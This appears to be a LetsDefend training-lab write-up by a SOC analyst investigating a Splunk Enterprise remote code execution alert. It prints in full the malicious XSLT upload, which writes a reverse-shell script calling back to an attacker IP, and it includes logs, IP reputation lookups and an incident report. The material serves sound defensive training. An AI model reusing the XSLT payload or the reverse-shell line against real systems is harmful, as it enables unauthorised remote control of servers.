

Event Information:

☆ Splunk App for Lookup File Editing RCE via User XSLT

EventID :

201

Event Time :

Nov, 21, 2023, 12:24 PM

Rule :

SOC239 - Remote Code Execution Detected in Splunk Enterprise

Level :

Security Analyst

Source IP Address :

180.101.88.240

Destination IP Address :

172.16.20.13

Hostname :

Splunk Enterprise

HTTP Request Method :

POST

Requested URL :

http://18.219.80.54:8000/en-

US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl

Trigger File Path :

/opt/splunk/var/run/splunk/dispatch/1700556926.3/shell.xsl

Alert Trigger Reason :

Detected a malicious XSLT upload in Splunk Enterprise with the potential to trigger remote code execution.

Device Action :

Allowed

Analysis Steps:

First I downloaded the files to analyse their contents.

```
[chubbyend@chubbyend shell]$ cat shell.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl
="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
      <xsl:text>sh -i &gt;& & /dev/tcp/180.101.88.240/1923 0&gt;& &1</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>[chubbyend@chubbyend shell]$
[chubbyend@chubbyend shell]$ cat shell.sh
sh -i & > /dev/tcp/180.101.88.240/1923 0>&1sh-4.2$[chubbyend@chubbyend shell]$
```

After investigation the attacker appears to be attempting to achieve the following:

The attacker exploited a vulnerability in Splunk by sending a POST request to upload an Extensible Stylesheet Language Transformations (XSLT) file named shell.xsl.

XSLT is used to change the formatting of XML documents. However, this Attacker abused a specific function called `<exsl:document>`. Instead of formatting text, this function forces the Splunk server to write a brand new file directly onto its own hard drive at the path `/opt/splunk/bin/scripts/shell.sh`.

The content that the attacker placed inside that new shell.sh file is: `sh -i >& /dev/tcp/180[.]101.88.240/1923 0>&1.`

This is a Linux reverse shell payload. It instructs the Splunk server to open a silent, outbound network connection back to the attacker's machine (180[.]101.88.240) on port 1923, and hand over interactive control of the command line.

Searching logs we can find clear evidence that this exploit was successful and that there is ongoing communication between the Splunk host and Attacker.

Source Address contains "180.101.88.240"

All Time

8 events (before Nov, 21, 2023, 12:28 PM UTC)

< 1 >

< Hide Fields

INTERESTING FIELDS

α type

α source_address

source_port

α destination_address

destination_port

α raw_log

Event

source_address	180.101.88.240
source_port	1923
destination_address	18.219.80.54
destination_port	54321
time	Nov, 21, 2023, 12:26 PM
Raw Log	
Source IP	180.101.88.240
Destination IP	18.219.80.54
Source Port	1923
Destination Port	54321
Source Process	shell.sh

1 row selected

We can also see malicious enumeration commands have been executed on the Splunk host.

EVENT TIME	COMMAND LINE
2023-11-21 11:24:28.888	splunk start
2023-11-21 11:24:33.553	splunk status
2023-11-21 11:24:37.267	splunk web start
2023-11-21 11:24:52.39	cat /etc/os-release
2023-11-21 11:25:05.079	vim --version
2023-11-21 11:25:31.208	sudo --version
2023-11-21 11:26:03.34	ls --color=auto
2023-11-21 12:23:58.888	cd /opt/splunk/bin/scripts/
2023-11-21 12:24:00.158	cat shell.sh
2023-11-21 12:24:28.888	id

The offending IP is not in our CTI database and is external to the organisation. No emails have been received indicating penetration testing involving the IP for the relevant time period. VirusTotal indicates it is a Chinese address associated with 180[.]101.88.240 AS 4134 (Chinanet). 4/91 security vendors flagged this IP address as malicious as of 3 days ago.

4

/ 91

Community Score

4/91 security vendors flagged this IP address as malicious

180.101.88.240 (180.101.88.0/21)
AS 4134 (Chinanet)

CN

Last Analysis Date
3 days ago

Reanalyze

More

DETECTIONDETAILSRELATIONSCOMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Crowdsourced context

HIGH 0MEDIUM 0LOW 1INFO 1SUCCESS 0

SSH brute-force Attackers (2023-08-31) - according to source ArcSight Threat Intelligence - 2 years ago

Source: alienvault VirusTotal Link: <https://www.virustotal.com/gui/ip-address/180.101.88.240/detection> Abuse IPDB Link: <https://www.abuseipdb.com/check/180.101.88.240>

Find more information on CrowdSec CTI - according to source CrowdSec - 2 years ago

Behaviors: SSH Brute-force

Security vendors' analysis

ADMINUSLabs	Malicious	BitDefender	Phishing
CDF	Malicious	G Data	Phishing
alphaMountain.ai	Suspicious	Avast	Clean

Do you want to automate checks?

On AbuseIPDB this IP was reported 47,291 times with a 0% confidence of abuse.

180.101.88.240 was found in our database!

This IP was reported 47,291 times. Confidence of Abuse is 0%?

0%

ISP

Chinanet Jiangsu Province Network

Usage Type

Fixed Line ISP

ASN

[AS4134](#)

Domain Name

chinatelecom.cn

Country

China

City

Nanjing, Jiangsu

IP info including ISP, Usage Type, and Location provided by [IPInfo](#). Updated weekly.

REPORT 180.101.88.240

WHOIS 180.101.88.240

Based on following Playbook procedure and the analysis of available information, this alert is determined to be a successful True Positive.

Report:

Incident Summary

Analysis confirms a successful True Positive Remote Code Execution (RCE) attack against the Splunk Enterprise server (172[.]16.20.13). An external threat actor uploaded a malicious Extensible Stylesheet Language Transformations (XSLT) file to the Splunk web interface, which was weaponised to write and execute a reverse shell payload on the system. The attacker successfully established an interactive session and conducted internal enumeration activities.

Incident Details

- **Alert Name:** SOC239 - Remote Code Execution Detected in Splunk Enterprise
- **Attacker IP:** 180[.]101.88.240
- **Target Host:** Splunk Enterprise (172[.]16.20.13 / 18[.]219.80.54)
- **Attack Vector:** Malicious XSLT file upload via HTTP POST request
- **Device Action:** Allowed

Analysis and Evidence

- **Delivery and Installation:** The attacker sent a POST request to `hxxp://18[.]219.80.54:8000/en-US/splunkd/__upload/indexing/preview` to upload `shell.xml`. This XSLT file abused the `<exsl:document>` function to maliciously write a new file directly to the server's disk at `/opt/splunk/bin/scripts/shell.sh`.
- **Execution (Reverse Shell):** The newly created `shell.sh` contained a Linux reverse shell payload: `sh -i >& /dev/tcp/180[.]101.88.240/1923 0>&1`. Network logs confirm that the `shell.sh` process successfully executed and established an outbound connection back to the attacker's IP on port 1923.
- **Post-Exploitation Activity:** Terminal history on the Splunk host reveals the attacker actively used the reverse shell to run enumeration commands. Observed commands include checking the OS release (`cat /etc/os-release`) and verifying user permissions (`id`, `sudo --version`).

Threat Intelligence

- **OSINT:** The attacker's IP (180[.]101.88.240) belongs to Chinanet (AS 4134) in Nanjing, China. VirusTotal shows 4/91 security vendors flag this IP as malicious, while AbuseIPDB shows 47,291 reports, frequently associated with SSH brute-forcing activities.
- **Internal Correlation:** The IP is not listed in the internal CTI database, and internal communications confirm no authorised penetration testing was scheduled.

Actions Taken

1. Analysed the uploaded XSLT and shell scripts to determine the attack mechanism.
2. Reviewed network telemetry, confirming the reverse shell payload successfully connected back to the attacker on port 1923.
3. Checked endpoint terminal history, confirming the attacker had active, interactive control and was conducting system enumeration.
4. Declared the alert a successful True Positive and escalated.

Let's Defend Result

SOC239 - Remote Code Execution Detected in Splunk Enterprise

True Positive (+5 Point)

Do You Need Tier 2 Escalation? (+5 Point)

Was the Attack Successful? (+5 Point)

What Is the Direction of Traffic? (+5 Point)

Check If It Is a Planned Test (+5 Point)

What Is The Attack Type? (+5 Point)

Is Traffic Malicious? (+5 Point)